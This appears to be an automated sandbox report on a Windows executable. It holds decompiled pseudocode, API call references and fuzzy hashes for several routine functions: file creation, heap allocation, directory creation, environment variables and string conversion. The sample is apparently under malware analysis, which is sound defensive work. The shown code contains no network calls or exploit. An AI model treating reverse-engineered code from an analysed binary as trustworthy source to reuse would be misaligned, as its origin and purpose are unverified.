0x0040afd4
0x0040b0cd
0x0040afda
0x0040afde
0x0040afe9
0x0040afeb
0x0040aff0
0x0040aff4
0x0040aff8
0x0040b001
0x0040b008
0x0040b008
0x0040b00b
0x0040b00f
0x0040b015
0x0040b089
0x0040b08e
0x0040b093
0x0040b0bb
0x0040b0bc
0x0040b0c0
0x00000000
0x0040b095
0x0040b0a3
0x0040b0b2
0x0040b0b2
0x0040b017
0x0040b01d
0x0040b021
0x0040b022
0x0040b079
0x0040b07d
0x0040b085
0x0040b024
0x0040b024
0x0040b025
0x0040b063
0x0040b068
0x0040b070
0x0040b027
0x0040b02a
0x0040b04d
0x0040b051
0x0040b059
0x0040b02c
0x0040b02c
0x0040b02d
0x0040b031
0x0040b032
0x0040b03c
0x0040b044
0x0040b044
0x0040b02a
0x0040b025
0x0040b022
0x0040b015

APIs

SetFilePointer.KERNELBASE(?,?,?,00000001), ref: 0040AFF8
memcpy.MSVCRT ref: 0040B032

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointermemcpy
String ID:
API String ID: 1104741977-0
Opcode ID: 0eefa4f874f6ecccfca5fc54179e78147f46ecb2304ab69a4aa20b4cccdc9a3e
Instruction ID: ace082a42c8b9570e8fa48c2980c6e4681abbcae92d9a1b023345ff456592002
Opcode Fuzzy Hash: 0eefa4f874f6ecccfca5fc54179e78147f46ecb2304ab69a4aa20b4cccdc9a3e
Instruction Fuzzy Hash: 4B313A392007009FC220DF29D844E5BB7E5EFD8714F04882EE59A97750D335E919CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC70, Relevance: 4.6, APIs: 3, Instructions: 76
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC70(void* __ebx, void* _a4, WCHAR* _a8) {
				void* _t13;
				long _t16;
				long _t17;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t24;
				void* _t25;

				_t25 = _a4;
				_t23 = 0;
				_t24 = E0040D438( *0x41771c, _t25);
				if(_t24 == 0) {
					return 0;
				} else {
					_t13 = CreateFileW(_a8, 0xc0000000, 0, 0, 2, 0x80, 0); // executed
					_t21 = _t13;
					if(_t21 != 0xffffffff) {
						L3:
						if(_t21 == 0) {
							goto L10;
						} else {
							_t16 =  *0x41612c; // 0x1000
							if(_t16 == 0) {
								 *(_t24 + 4) = _t23;
							} else {
								 *(_t24 + 4) = HeapAlloc( *0x417008, 0, _t16);
							}
							 *_t24 = _t21;
							_t17 =  *0x41612c; // 0x1000
							 *(_t24 + 0xc) = _t23;
							 *(_t24 + 0x1c) = _t23;
							_t23 = _t24;
							 *(_t24 + 8) = _t17;
							 *((intOrPtr*)(_t24 + 0x14)) = 1;
							 *(_t24 + 0x18) = 2;
							if(_t25 != 0xffffffff) {
								_t23 = _t21;
							}
							if(_t23 == 0) {
								goto L10;
							}
						}
					} else {
						_t19 = CreateFileW(_a8, 0x40000000, 0, 0, 5, 0, 0); // executed
						_t21 = _t19;
						if(_t21 == 0xffffffff) {
							L10:
							if(_t25 != 0xffffffff) {
								_t24 = _t25;
							}
							E0040D3AA( *0x41771c, _t24);
						} else {
							goto L3;
						}
					}
					return _t23;
				}
			}

0x0040ac71
0x0040ac7e
0x0040ac85
0x0040ac89
0x0040ad3c
0x0040ac8f
0x0040aca3
0x0040aca9
0x0040acae
0x0040accc
0x0040acce
0x00000000
0x0040acd0
0x0040acd0
0x0040acd7
0x0040aced
0x0040acd9
0x0040ace8
0x0040ace8
0x0040acf0
0x0040acf2
0x0040acf7
0x0040acfa
0x0040acfd
0x0040acff
0x0040ad02
0x0040ad09
0x0040ad13
0x0040ad15
0x0040ad15
0x0040ad19
0x00000000
0x00000000
0x0040ad19
0x0040acb0
0x0040acbf
0x0040acc5
0x0040acca
0x0040ad1b
0x0040ad1e
0x0040ad20
0x0040ad20
0x0040ad29
0x00000000
0x00000000
0x00000000
0x0040acca
0x0040ad34
0x0040ad34

APIs

Part of subcall function 0040D438: EnterCriticalSection.KERNEL32(00000020,00000000,?,00000000,0040AD75,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000), ref: 0040D443
Part of subcall function 0040D438: LeaveCriticalSection.KERNEL32(00000020,?,00000000,0040AD75,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040D4BE

CreateFileW.KERNELBASE(00000001,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,?,?,0040474F,FFFFFFFF,?,00000000), ref: 0040ACA3
CreateFileW.KERNELBASE(00000001,40000000,00000000,00000000,00000005,00000000,00000000,?,?,?,0040474F,FFFFFFFF,?,00000000,00000000,00000000), ref: 0040ACBF
HeapAlloc.KERNEL32(00000000,00001000,?,?,?,0040474F,FFFFFFFF,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00403D71), ref: 0040ACE2

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateCriticalFileSection$AllocEnterHeapLeave
String ID:
API String ID: 49537883-0
Opcode ID: 4dd531b9fa248f024298d31622ac81a62092c3937c8fe5ab716ac7b1fb55e9df
Instruction ID: f6fed0e380c2868238a2ed1f5ecffa77528f81bfe2ad71e922a363fc64bec02a
Opcode Fuzzy Hash: 4dd531b9fa248f024298d31622ac81a62092c3937c8fe5ab716ac7b1fb55e9df
Instruction Fuzzy Hash: F821CF31200700ABD3305B2AAC48F57BEA9EFC5B64F11863EF565A36E0D6359815CB29

Uniqueness

Uniqueness Score: -1.00%

Function 0040DE60, Relevance: 4.6, APIs: 3, Instructions: 53
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DE60(void** _a4, intOrPtr _a8) {
				unsigned int _v8;
				intOrPtr* _v12;
				long _t19;
				void* _t23;
				void* _t26;
				void* _t27;
				void* _t41;
				void* _t46;

				_t19 =  *0x416170; // 0x1b
				_v12 = TlsGetValue(_t19);
				_v8 =  *((intOrPtr*)(_v12 + 8)) - _a8;
				if( *_a4 != 0) {
					_t41 =  *0x417720; // 0x630000
					_t23 = RtlReAllocateHeap(_t41, 0,  *_a4, _v8 + 0xa); // executed
					 *_a4 = _t23;
				} else {
					_t46 =  *0x417720; // 0x630000
					_t27 = RtlAllocateHeap(_t46, 0, _v8 + 0xa); // executed
					 *_a4 = _t27;
				}
				_t26 = E0040E300( *_v12 + _a8,  *_a4,  *_v12 + _a8, _v8 >> 1);
				 *((intOrPtr*)(_v12 + 8)) = _a8;
				return _t26;
			}

0x0040de66
0x0040de72
0x0040de7e
0x0040de87
0x0040deb5
0x0040debc
0x0040dec5
0x0040de89
0x0040de92
0x0040de99
0x0040dea2
0x0040dea2
0x0040dedc
0x0040dee7
0x0040deed

APIs

TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99
RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040DEBC

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$Value
String ID:
API String ID: 2497967046-0
Opcode ID: f865e40a7b47dc49b25cd0656b7d544d8748bc79d9d02905389b3cc1b6fb08eb
Instruction ID: e6d91f3b09335801e5746b2964150cf116aaa33277573073d0b775b4e860d931
Opcode Fuzzy Hash: f865e40a7b47dc49b25cd0656b7d544d8748bc79d9d02905389b3cc1b6fb08eb
Instruction Fuzzy Hash: E511B974A00208EFCB04DF98D894EAABBB6FF88315F10C559E9099B354D735AA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040A665, Relevance: 4.5, APIs: 3, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A665(wchar_t* _a4) {
				short _v8;
				short _v528;
				WCHAR* _t18;
				int _t20;
				signed int _t23;

				if(_a4 == 0) {
					return 0;
				}
				wcsncpy( &_v528, _a4, 0x104);
				_v8 = 0;
				_t18 =  &(( &_v528)[wcslen( &_v528)]);
				while(_t18 >  &_v528) {
					_t23 =  *(_t18 - 2) & 0x0000ffff;
					if(_t23 == 0x20 || _t23 == 0x5c || _t23 == 0x2f) {
						_t18 =  &(_t18[0xffffffffffffffff]);
						continue;
					} else {
						break;
					}
				}
				 *_t18 = 0;
				_t20 = CreateDirectoryW( &_v528, 0); // executed
				return _t20;
			}

0x0040a672
0x00000000
0x0040a6dd
0x0040a683
0x0040a68a
0x0040a6a3
0x0040a6be
0x0040a6a8
0x0040a6af
0x0040a6bb
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a6af
0x0040a6ca
0x0040a6d5
0x00000000

APIs

wcsncpy.MSVCRT ref: 0040A683
wcslen.MSVCRT ref: 0040A695
CreateDirectoryW.KERNELBASE(?,00000000), ref: 0040A6D5

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectorywcslenwcsncpy
String ID:
API String ID: 961886536-0
Opcode ID: 40426c4a27e9655a37d458fcd41d9c62d4d21f52a2c09d6ab7b3f43a5b08421e
Instruction ID: 630a5c6db6187271ae83db4eaeb36511880b8bdc4cdf20ec5a399f16e344c0a7
Opcode Fuzzy Hash: 40426c4a27e9655a37d458fcd41d9c62d4d21f52a2c09d6ab7b3f43a5b08421e
Instruction Fuzzy Hash: 0F01DBB08113189BCB24DB64CC8DABA7378DF00300F6446BBE455E21D1E77A9AA4DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0D0, Relevance: 4.5, APIs: 3, Instructions: 40
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B0D0(int _a4, short* _a8, int* _a12) {
				short* _v0;
				int _v4;
				int _t6;
				char* _t9;
				int* _t11;
				char* _t13;

				_t6 = WideCharToMultiByte(_a4, 0, _a8, 0xffffffff, 0, 0, 0, 0);
				_t11 = _a12;
				 *_t11 = _t6;
				if(_t6 == 0) {
					return 0;
				} else {
					_t9 = RtlAllocateHeap( *0x417008, 0, _t6 + 1); // executed
					_t13 = _t9;
					if(_t13 != 0) {
						WideCharToMultiByte(_v4, 0, _v0, 0xffffffff, _t13,  *_t11, 0, 0);
						 *_t11 =  *_t11 - 1;
						_t9 = _t13;
					}
					return _t9;
				}
			}

0x0040b0e5
0x0040b0eb
0x0040b0ef
0x0040b0f3
0x0040b131
0x0040b0f5
0x0040b100
0x0040b106
0x0040b10a
0x0040b11f
0x0040b125
0x0040b127
0x0040b127
0x0040b12b
0x0040b12b

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,0040AEC7,-00000001,00000000,00000000,?,?,0040AF40), ref: 0040B0E5
RtlAllocateHeap.NTDLL(00000000,00000001,?,?,0040AEC7,-00000001,00000000,00000000,?,?,0040AF40,00000000,00000000,?,00000000,00402457), ref: 0040B100
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,0040AEC7,-00000001,00000000,00000000), ref: 0040B11F

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$AllocateHeap
String ID:
API String ID: 2584219951-0
Opcode ID: 55f2a727d0f60816c07d40723476c1c73fb1f25b28d21f49f42dfb605737ae69
Instruction ID: 25ba90fbcbb0620c7b6e0ca89a46d7395ac6599ad19ead0a085a3513daeb5df6
Opcode Fuzzy Hash: 55f2a727d0f60816c07d40723476c1c73fb1f25b28d21f49f42dfb605737ae69
Instruction Fuzzy Hash: 50F03632348311BBE7210B54EC05F5BBB61FB88B60F204735F650B52E4D761D820DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00408D8E, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408D8E(void* __ecx) {
				intOrPtr _v8;
				void _v12;
				void* _t7;

				memset( &_v12, 0, 8);
				_v12 = 8;
				_t7 =  &_v12;
				_v8 = 0xb48;
				__imp__InitCommonControlsEx(_t7, __ecx, __ecx);
				__imp__CoInitialize(0); // executed
				return _t7;
			}

0x00408d9b
0x00408da3
0x00408daa
0x00408dad
0x00408db5
0x00408dbd
0x00408dc6

APIs

memset.MSVCRT ref: 00408D9B
InitCommonControlsEx.COMCTL32(00000008,00001000), ref: 00408DB5
CoInitialize.OLE32(00000000), ref: 00408DBD

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CommonControlsInitInitializememset
String ID:
API String ID: 2179856907-0
Opcode ID: 5fe436f70463189401810c8ea8ae9fa3e8af9a379760f2b470c78f7c9900ce65
Instruction ID: 781e80edae316a95334d3837f50a89f25f26191aceb080d9ad1fe250ea93eb12
Opcode Fuzzy Hash: 5fe436f70463189401810c8ea8ae9fa3e8af9a379760f2b470c78f7c9900ce65
Instruction Fuzzy Hash: 3AE0E6B594030CBBDB409FD0DC0EF9D7B7CE704705F404565F50496181EBB596048B95

Uniqueness

Uniqueness Score: -1.00%

Function 00409860, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409860(WCHAR* _a4, WCHAR* _a8) {
				void* _t4;
				WCHAR* _t5;
				int _t6;

				if(_a4 != 0) {
					_t5 = _a8;
					if(_t5 == 0) {
						_t5 = 0x412024;
					}
					_t6 = SetEnvironmentVariableW(_a4, _t5); // executed
					return _t6;
				}
				return _t4;
			}

0x00409865
0x00409867
0x0040986d
0x0040986f
0x0040986f
0x00409879
0x00000000
0x00409879
0x0040987f

APIs

SetEnvironmentVariableW.KERNELBASE(00638AF0,00638AF0,00404434,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409879

Strings

$ A, xrefs: 0040986F

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentVariable
String ID: $ A
API String ID: 1431749950-1415209610
Opcode ID: 37dc1e281acc41e39155b599a3fd8d037edce4260b7102e0d6fe6300a43532c6
Instruction ID: 34676badedbb0a82c232a14336f7de5419c85f3fd2839d3c24d176d6e2709967
Opcode Fuzzy Hash: 37dc1e281acc41e39155b599a3fd8d037edce4260b7102e0d6fe6300a43532c6
Instruction Fuzzy Hash: 46C01231604201ABDB11AA16C908F6BBBE6EBA1384F01C43AB985D23B0D338CC90DB09

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD60, Relevance: 3.1, APIs: 2, Instructions: 65
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD60(void* __ebp, void* _a4, WCHAR* _a8) {
				void* _t12;
				long _t15;
				long _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t22;

				_t18 = _a4;
				_t19 = 0;
				_t20 = E0040D438( *0x41771c, _t18);
				if(_t20 == 0) {
					return 0;
				} else {
					_t12 = CreateFileW(_a8, 0x80000000, 0, 0, 3, 0x80, 0); // executed
					_t22 = _t12;
					if(_t22 == 0xffffffff || _t22 == 0) {
						L9:
						if(_t18 != 0xffffffff) {
							_t20 = _t18;
						}
						E0040D3AA( *0x41771c, _t20);
					} else {
						_t15 =  *0x41612c; // 0x1000
						if(_t15 == 0) {
							 *(_t20 + 4) = 0;
						} else {
							_t17 = RtlAllocateHeap( *0x417008, 0, _t15); // executed
							 *(_t20 + 4) = _t17;
						}
						 *_t20 = _t22;
						_t16 =  *0x41612c; // 0x1000
						 *(_t20 + 0xc) = _t19;
						_t19 = _t20;
						 *(_t20 + 8) = _t16;
						 *((intOrPtr*)(_t20 + 0x14)) = 1;
						 *((intOrPtr*)(_t20 + 0x18)) = 2;
						 *((intOrPtr*)(_t20 + 0x1c)) = 1;
						if(_t18 != 0xffffffff) {
							_t19 = _t22;
						}
						if(_t19 == 0) {
							goto L9;
						}
					}
					return _t19;
				}
			}

0x0040ad61
0x0040ad6e
0x0040ad75
0x0040ad79
0x0040ae13
0x0040ad7f
0x0040ad93
0x0040ad99
0x0040ad9e
0x0040adf2
0x0040adf5
0x0040adf7
0x0040adf7
0x0040ae00
0x0040ada4
0x0040ada4
0x0040adab
0x0040adc0
0x0040adad
0x0040adb5
0x0040adbb
0x0040adbb
0x0040adc3
0x0040adc5
0x0040adca
0x0040adcd
0x0040adcf
0x0040add2
0x0040add9
0x0040ade0
0x0040adea
0x0040adec
0x0040adec
0x0040adf0
0x00000000
0x00000000
0x0040adf0
0x0040ae0b
0x0040ae0b

APIs

Part of subcall function 0040D438: EnterCriticalSection.KERNEL32(00000020,00000000,?,00000000,0040AD75,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000), ref: 0040D443
Part of subcall function 0040D438: LeaveCriticalSection.KERNEL32(00000020,?,00000000,0040AD75,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040D4BE

CreateFileW.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000080,00000000,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000), ref: 0040AD93
RtlAllocateHeap.NTDLL(00000000,00001000,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000,00000800), ref: 0040ADB5

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$AllocateCreateEnterFileHeapLeave
String ID:
API String ID: 2608263337-0
Opcode ID: 90f7faf706f975316c83b07ac6ced370c6fd09a1887d2f170a25e0c4fd74ef8c
Instruction ID: cb55299900a1a52b407eca00395bc400cfc912b247b49f0a026709af4e8a3faf
Opcode Fuzzy Hash: 90f7faf706f975316c83b07ac6ced370c6fd09a1887d2f170a25e0c4fd74ef8c
Instruction Fuzzy Hash: 0411D031100300ABC2305F5AEC48F57BBAAEFC5761F11863EF5A5A26E0C77698558B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB6A, Relevance: 3.1, APIs: 2, Instructions: 61
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DB6A(signed int _a4, intOrPtr _a8, intOrPtr _a20) {
				void* _v0;
				intOrPtr _v4;
				void* _v8;
				void* _v12;
				void* _t19;
				long _t29;
				void* _t31;
				signed int _t33;
				void* _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				void* _t38;
				void* _t39;

				_t36 = _a20;
				_t34 = 0;
				E0040DCBD(_v0);
				_t33 = _a4;
				if(_t33 > 0) {
					_t29 = _a4 * _t33 + 0x18;
					_t19 = RtlAllocateHeap( *0x417008, 0, _t29); // executed
					_t34 = _t19;
					if(_t34 != 0) {
						 *((intOrPtr*)(_t34 + 4)) = _v4;
						 *((intOrPtr*)(_t34 + 8)) = _a8;
						_t9 = _t29 - 0x18; // 0xffffffc5
						 *(_t34 + 0x10) = _t33;
						 *(_t34 + 0x14) = _a4;
						 *((intOrPtr*)(_t34 + 0xc)) = _t36;
						 *_t34 = 1;
						_t34 = _t34 + 0x18;
						 *(_t38 + 0x30) = _t34;
						memset(_t34, 0, _t9);
						_t39 = _t38 + 0xc;
						_v0 = _t34;
						_t37 = _a8;
						if(E00411744(_a8) != 0 && _t33 > 0) {
							_t31 = _t34;
							_t35 = _v4;
							do {
								E00411B6F(_t31, _t37);
								_t31 = _t31 + _t35;
								_t33 = _t33 - 1;
							} while (_t33 != 0);
							_t34 =  *(_t39 + 0x24);
						}
					}
				}
				return _t34;
			}

0x0040db6b
0x0040db71
0x0040db76
0x0040db7b
0x0040db81
0x0040db8f
0x0040db9a
0x0040dba0
0x0040dba4
0x0040dbae
0x0040dbb5
0x0040dbb8
0x0040dbbc
0x0040dbbf
0x0040dbc2
0x0040dbc5
0x0040dbcb
0x0040dbd1
0x0040dbd5
0x0040dbda
0x0040dbdd
0x0040dbe0
0x0040dbec
0x0040dbf2
0x0040dbf4
0x0040dbf8
0x0040dbfa
0x0040dbff
0x0040dc01
0x0040dc01
0x0040dc04
0x0040dc04
0x0040dbec
0x0040dc08
0x0040dc0e

APIs

Part of subcall function 0040DCBD: HeapFree.KERNEL32(00000000,-00000018,00000200,00000000,0040DB7B,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,0041607C,00417090,00000004), ref: 0040DCFE

RtlAllocateHeap.NTDLL(00000000,FFFFFFDD,?,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C), ref: 0040DB9A
memset.MSVCRT ref: 0040DBD5

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreememset
String ID:
API String ID: 2774703448-0
Opcode ID: b4b42cf12e6a71c38c390e7d4c2b16159ff475ec6d8ebd77654cc0985d18a278
Instruction ID: 4684dd51efb4be1c7f6cbbcd141334eab977ef2b41965c3d3424e441a95aa271
Opcode Fuzzy Hash: b4b42cf12e6a71c38c390e7d4c2b16159ff475ec6d8ebd77654cc0985d18a278
Instruction Fuzzy Hash: 8C117C729047149BC320DF49D840A4BBBE8FF98B50F05452EF989A7351D774EC04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E200, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E200(signed int _a4, void* _a8) {
				void** _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				long _t32;
				void* _t44;
				void* _t45;

				_t32 =  *0x416170; // 0x1b
				_v8 = TlsGetValue(_t32);
				if(_a8 == 0xffffffff) {
					_a8 = _v8[2];
				}
				_v12 = _v8[2] + _a4 * 2;
				if(_v12 >= _v8[1] - 4) {
					_v8[1] = _v12 + 0x4000;
					_t44 =  *0x417720; // 0x630000
					_t45 = RtlReAllocateHeap(_t44, 0,  *_v8, _v8[1] + 0xa); // executed
					 *_v8 = _t45;
				}
				_v16 =  *_v8 + _a8;
				_v8[2] = _a8 + _a4 * 2;
				return _v16;
			}

0x0040e206
0x0040e212
0x0040e219
0x0040e221
0x0040e221
0x0040e230
0x0040e23f
0x0040e24c
0x0040e261
0x0040e267
0x0040e270
0x0040e270
0x0040e27a
0x0040e289
0x0040e292

APIs

TlsGetValue.KERNEL32(0000001B,00001000,00000000,00000000), ref: 0040E20C
RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040E267

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapValue
String ID:
API String ID: 3894635346-0
Opcode ID: b65472d8892799a2ab790df46868f8da18113432f0cbb7547d7b3206bfd8583f
Instruction ID: 26b5320e93437fcb7b3a7e471c4fbc50e4a3a6070049850fe70d883a15f06819
Opcode Fuzzy Hash: b65472d8892799a2ab790df46868f8da18113432f0cbb7547d7b3206bfd8583f
Instruction Fuzzy Hash: F821A478A00208EFCB00CF98D59499DB7B5FB88314B24C1A9E9199B355D631EE52DF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040A970, Relevance: 3.0, APIs: 2, Instructions: 31
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A970(signed int _a4) {
				void** _t4;
				void** _t11;

				_t9 = _a4;
				if(_a4 != 0xffffffff) {
					_t4 = E0040D3F9( *0x41771c, _t9);
					_t11 = _t4;
					if(_t11 != 0) {
						if(_t11[1] != 0) {
							E0040A9E0(_t11);
							HeapFree( *0x417008, 0, _t11[1]);
						}
						FindCloseChangeNotification( *_t11); // executed
						_t4 = E0040D3AA( *0x41771c, _t9);
					}
					return _t4;
				} else {
					return E0040D995( *0x41771c);
				}
			}

0x0040a971
0x0040a978
0x0040a991
0x0040a996
0x0040a99a
0x0040a9a0
0x0040a9a3
0x0040a9b3
0x0040a9b3
0x0040a9bb
0x0040a9c8
0x0040a9c8
0x0040a9cf
0x0040a97a
0x0040a986
0x0040a986

APIs

HeapFree.KERNEL32(00000000,?,00000000,00000000,?,?,004033E8,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000), ref: 0040A9B3
FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,004033E8,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000,00000000,00000800), ref: 0040A9BB

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
